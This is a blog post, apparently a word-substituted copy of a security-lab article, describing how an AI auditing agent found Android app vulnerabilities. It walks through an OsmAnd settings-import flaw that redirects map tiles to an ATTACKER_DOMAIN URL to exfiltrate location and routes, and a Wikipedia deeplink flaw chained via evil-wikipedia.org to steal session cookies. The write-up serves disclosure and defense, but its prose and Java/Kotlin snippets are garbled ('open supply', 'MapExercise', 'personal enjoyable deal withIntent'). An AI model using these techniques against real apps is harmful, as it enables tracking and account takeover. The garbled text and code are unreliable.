How we discovered 24 Android vulnerabilities utilizing our open supply AI safety agent

With the rise of AI within the safety area, our group created the GitHub Security Lab Taskflow Agent as a approach for safety researchers to simply automate, bundle, and share the AI prompts and workflows that they discover efficient for his or her work. In this weblog submit, I’ll share how I created auditing taskflows to search out vulnerabilities in Android functions.

While new fashions are getting higher at understanding code, customized taskflow prompts let safety researchers information them—splitting analysis into incremental steps to assist the LLM discover complicated vulnerabilities quicker, or that it could have missed solely.

Using these taskflows, I’ve reported greater than 20 vulnerabilities in Android functions. You can take a look at our advisories page to see when new vulnerabilities are disclosed. Otherwise, hold studying for just a few concrete examples of high-impact vulnerabilities that these taskflows discovered.

How to run the taskflows by yourself venture

Want to get began immediately? The taskflows are open supply and straightforward to run your self. Please be aware: A GitHub Copilot license is required, and the prompts will use premium mannequin requests. Running the taskflows can lead to many instrument calls, which may simply devour a considerable amount of tokens.

1. Go to the seclab-taskflows repository and begin a codespace.
2. Wait a couple of minutes for the codespace to initialize.
3. In the terminal, run ./scripts/audit/run_mobile.sh myorg/myrepo

It may take an hour or two to complete on a medium-sized repository. When it finishes, it’ll open an SQLite viewer with the outcomes. Open the “audit_results” desk and search for rows with a checkmark within the “has_vulnerability” column.

My colleagues Peter and Mo beforehand wrote a blog post about their audit process flows. Although these taskflows already work nicely on their very own, Android functions have their very own particular courses of vulnerabilities that we’d just like the taskflows to deal with, so we have to information them.

First, I added a taskflow known as gather_mobile_entry_point_info.yaml. Entry factors are locations within the code that attacker-controlled information may movement by. This taskflow takes the entry factors and separates them into cell entry factors and non-mobile entry factors. This permits the AI to run on repos that include quite a lot of totally different utility varieties—a cell utility, net servers, desktop applicationswhile nonetheless understanding the proper assault floor.

Second, I edited classify_application_local.yaml. In it, I specify an inventory of fashionable vulnerability courses and ask the LLM to contemplate them within the context of every entry level and part. Since cell utility vulnerabilities are much less extensively recognized and LLMs are non-deterministic, we should always make sure the LLM checks for sure important vulnerabilities courses. For instance, if within the earlier step the taskflow recognized an intent-based entry level, then it ought to have an inventory of frequent intent-based vulnerabilities it’s going to test for, resembling confused deputy or insecure broadcasts. This helps the LLM discover connections between parts and keep an outline of the risk mannequin.

By combining each prompts throughout a number of runs, we get the perfect of every: the strict immediate and repeated runs guarantee apparent vulnerabilities aren’t missed, whereas the broad immediate lets the AI apply its creativity to the fullest.

Two examples of vulnerabilities discovered by the taskflows

In this part, we’ll present two examples of vulnerabilities that had been discovered by the taskflows and which have already been disclosed. In whole, we’ve discovered and reported 24 vulnerabilities up to now.

Tracking Users by way of OsmAnd

OsmAnd is a well-liked third-party navigation app that makes use of Open-Street-Map as its principal information supply. Available on each the App Store and Play Store, we’ll have a look at the Android model, which has over 10 million downloads. In this part, we’ll have a look at essentially the most attention-grabbing of the three vulnerabilities that had been found: a vulnerability that permits malicious apps to trace the placement of the machine.

OsmAnd exports an exercise known as MapExercise. An Android exercise is a single, centered display screen in an app that gives a UI for the consumer to work together with. MapExercise handles opening settings information and deeplinks inside the app and is exported. An exported exercise is an exercise that may be launched by parts outdoors of its personal app.

However, when opening settings information, the app permits for intent extras (settings_version, silent_import, change, export_type_list_key). Intents are messaging objects in Android used to request an motion from one other app part, and intent extras are key-value pairs of information hooked up to an intent to go info together with that request. MapExercise solely expects these extras to return from an AIDL service. They ought to have been handed by an in-process channel as a substitute of intent extras, as a result of any app can put arbitrary extras on any intent to any exported exercise. Android gives no mechanism to limit which extras an exterior caller can set.

Because MapExercise is exported, any app can ship an intent to the exercise with any extras we would like, together with intent extras that may permit us to import settings to the app undetected. The Android app makes use of the handleOsmAndSettingsImport operate to import the next settings:

• SilentImport: permits importing with out a notification
• Replace: permits us to interchange as a substitute of simply add settings
• SettingsTypes: permits us to import with out a consumer affirmation

personal void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) { 
    fileName = fileName.change(ZIP_EXT, ""); 
    if (extras != null && CollectionUtils.comprisesAny(extras.keySet(), 
            SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) { 
        int model = extras.getInt(SETTINGS_VERSION_KEY, -1); 
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY); 
        boolean change = extras.getBoolean(REPLACE_KEY);              // ← attacker-controlled 
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY);   // ← attacker-controlled 
        ArrayList exportTypeKeys = 
            extras.getStringArrayList(EXPORT_TYPE_LIST_KEY);           // ← attacker-controlled 
        List exportTypes = null; 
        if (exportTypeKeys != null) { 
            exportTypes = ExportType.valuesOf(exportTypeKeys); 
        } 
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes, 
            change, silentImport, latestChanges, model); 
    } else { 
        handleOsmAndSettingsImport(intentUri, fileName, 
            null, false, false, null, -1);                             // secure defaults 
    } 
} 

Since we are able to now import any settings we would like, we are able to make a number of important adjustments. For instance, we are able to change tiles on the map. OsmAnd codecs the URL for every tile within the following format:

return MessageFormat.format(urlTemplate, zoom + "", x + "", y + "");

By default, OsmAnd makes use of native tiles, nevertheless we are able to overwrite the default tile information with the next URL:

f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png",

Then, we are able to leak the precise x, y coordinates of each tile. The URL expects the response of that URL to include a picture for the tile so on the attacker server backend, we serve the in accordance tile from OpenStreetMaps. The attacker has an inventory of the x, y coordinates of each tile the consumer had loaded on the OsmAnd app, and the consumer has no concept the settings of their app have been modified. This permits any app, even one with no permissions, to overwrite the settings of OsmAnd and ship again personal location information to their server.

# [TILE #1]  14:23:07  z=15 x=9649 y=12320 
#   ├── middle: 40.70979, -73.98743 
#   └── 🗺️  https://www.openstreetmap.org/#map=15/40.70979/-73.98743

Using the identical vulnerability, we are able to additionally get hold of the origin and vacation spot for each route a consumer takes on OsmAnd despatched to our attacker server, with none change noticeable to the consumer.

[ROUTE #1] 07:02:47  car=automotive  waypoints=2 
  ├── path: /osrm/automotive/-122.084,37.4219983;-122.32450103759766,37.99944305419922 
  ├── 📍 ORIGIN:      37.421998, -122.084000 
  │      https://www.openstreetmap.org/#map=15/37.42200/-122.08400 
  ├── 🏁 DESTINATION: 37.999443, -122.324501 
  │      https://www.openstreetmap.org/#map=15/37.99944/-122.32450

Wikipedia account takeover Via deeplink

Next, we’ll have a look at the Wikipedia Android app, which permits customers to browse Wikipedia on their telephones. To browse Wikipedia webpages inside the app, the Wikipedia Android app registers a hook for the wikipedia:// deeplink to open the app. For instance, a deeplink could appear to be wikipedia://wikipedia.org/wiki/PoC . However, a logic bug within the hostname parser permits us to load non-Wikipedia URLs.

    personal enjoyable deal withIntent(intent: Intent) { 
        if (Intent.ACTION_VIEW == intent.motion && intent.information != null) { 
            // TODO: deal with particular instances of non-article content material, e.g. shared studying lists. 
            intent.information?.let { 
                if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) { 
                    // Pass it proper alongside to PageActivity 
                    val uri = Uri.parse(it.toString().change("wikipedia://", WikiSite.DEFAULT_SCHEME + "://")) 
                    startActivity(Intent(this, PageActivity::class.java) 
                            .setAction(Intent.ACTION_VIEW) 
                            .setData(uri)) 
                } 
            } 
        } 
    } 

This primitive permits us to direct the consumer to any web site of our selecting utilizing a wikipedia:// deeplink, and trick the consumer into considering they’re on the Wikipedia web page, when they’re, actually, on an attacker-controlled web page. Additionally, the attacker is ready to run arbitrary JavaScript within the app’s WebView, a harmful primitive that offers the attacker an entry level to environments which might be usually thought-about secure. This vulnerability sample happens not as soon as, however twice in the identical app:

// SharedPreferenceCookieManager.kt:101 
if (area.endsWith(domainSpec)) { 
    buildCookieList(cookieList, cookiesForDomainSpec, null) 
} 

This second snippet checks whether or not a web page ought to include cookies from wikipedia.org web page. Using each points, we are able to leak all of the cookies from the Wikipedia web page, that are long-lived.

Chaining these two vulnerabilities collectively, we get a strong account takeover.

1. The sufferer accesses a malicious webpage on their browser containing a deeplink and clicks on it.
2. The Wikipedia Android app opens routinely and hundreds an attacker-controlled web page that ends with wikipedia.org, resembling evil-wikipedia.org. The sufferer thinks it’s a web page on Wikipedia, and the app routinely sends the consumer’s cookies. The attacker now has entry to the sufferer’s username, long-lived token, and session token legitimate throughout each Wikimedia venture (all Wikipedias, Commons, Wikidata, Meta, and so forth.).

As these examples present, LLMs can discover logic vulnerabilities with important affect, not simply generic bug courses.

LLMs are good at discovering vulnerabilities however wrestle at estimating severity

LLMs are good at discovering vulnerabilities, even to the purpose of discovering low severity bugs that aren’t very impactful. Many instances, I discovered that the AI would return points that required very particular states that will be virtually unattainable to search out in actual life conditions. Additionally, it typically reported low-severity vulnerabilities, even when particularly informed not to take action. Because of this, every discovering must be reviewed by a safety researcher with data of cell functions.

Another downside we discovered was that the severity of vulnerabilities was typically estimated incorrectly. The precise affect of a vulnerability typically adjustments attributable to mitigating elements; that decrease its severity.

Take for instance a path traversal in an Android app the place the filepath is restricted to the exterior storage; the relative severity of such a difficulty is low. Such mitigating elements are exhausting for the LLM to see with out specific prompting to “create a proof of idea,” requiring a number of runs not only for discovering vulnerabilities, but in addition creating proof of ideas, which forces the LLM to attempt to exploit the vulnerability. Depending on the provision and velocity of the mannequin, this requires the mannequin to make use of further time on vulnerabilities that will not have very robust affect.

Even then, the LLM can nonetheless get issues unsuitable. For instance, if the app makes use of information from each inner and exterior storage, the interior storage information is usually given precedence. The LLM could assume that information from exterior storage—which we are able to write to by way of our path traversal—will change the appliance’s precise information. But if inner storage overwrites our attacker-controlled exterior information, there’s no vulnerability in any respect. Such complicated behaviors result in false positives, which is able to lower as LLM fashions’ contexts develop greater and their reasoning improves. But for now, the one solution to repair these concern is to present the LLM a debugger to run the proof of idea and authentic code, or for a researcher to immediate the LLM to look particularly for these points.

LLMs have nice data of API conduct

Any safety researcher who focuses on a specific language is aware of the frequent code patterns: which capabilities are secure and that are unsafe. For instance, utilizing path.Clean in Go is far much less secure than utilizing filepath.Clean and is usually the reason for many vulnerabilities that have an effect on Windows variations of fashionable merchandise. We had been shocked to see how nicely the LLM was capable of perceive the conduct of frequent safety related APIs in numerous languages, even with out entry to the language supply code. Most proof of ideas that we ask the LLM to provide after giving it a vulnerability report required little modification on our finish, demonstrating its deep data of earlier safety exploits and API conduct.

Notes on the outcomes

At the time of scripting this weblog, we discovered 24 Android vulnerabilities in cell functions. In many instances, we discovered easy vulnerabilities in functions resembling path traversal. We discovered a handful of important vulnerabilities, a few of which have been offered on this weblog submit. Since Android app safety is sort of robust, the forms of vulnerabilities are precisely the place a safety researcher would look forward to finding them, resembling cross app scripting in a WebView, or uncovered JavaScript bridges.

We consider that AI-powered safety analysis is among the greatest methods to safe open supply tasks at the moment, and its energy can be utilized for net functions, cell functions in addition to desktop functions.

Closing

We strongly consider that safety must be a prime precedence for all open supply maintainers, and we all know that AI might be a necessary instrument for all maintainers within the coming years, each for growth and safety. The seclab-taskflow-agent will enable you to get began with safety in a pair minutes and is open to contributions for many who discover attention-grabbing and distinctive prompts, instruments and mechanisms for locating vulnerabilities with AI.

Start securing your venture at this time. Run these taskflows towards your individual app and take step one towards AI-assisted safety!

Written by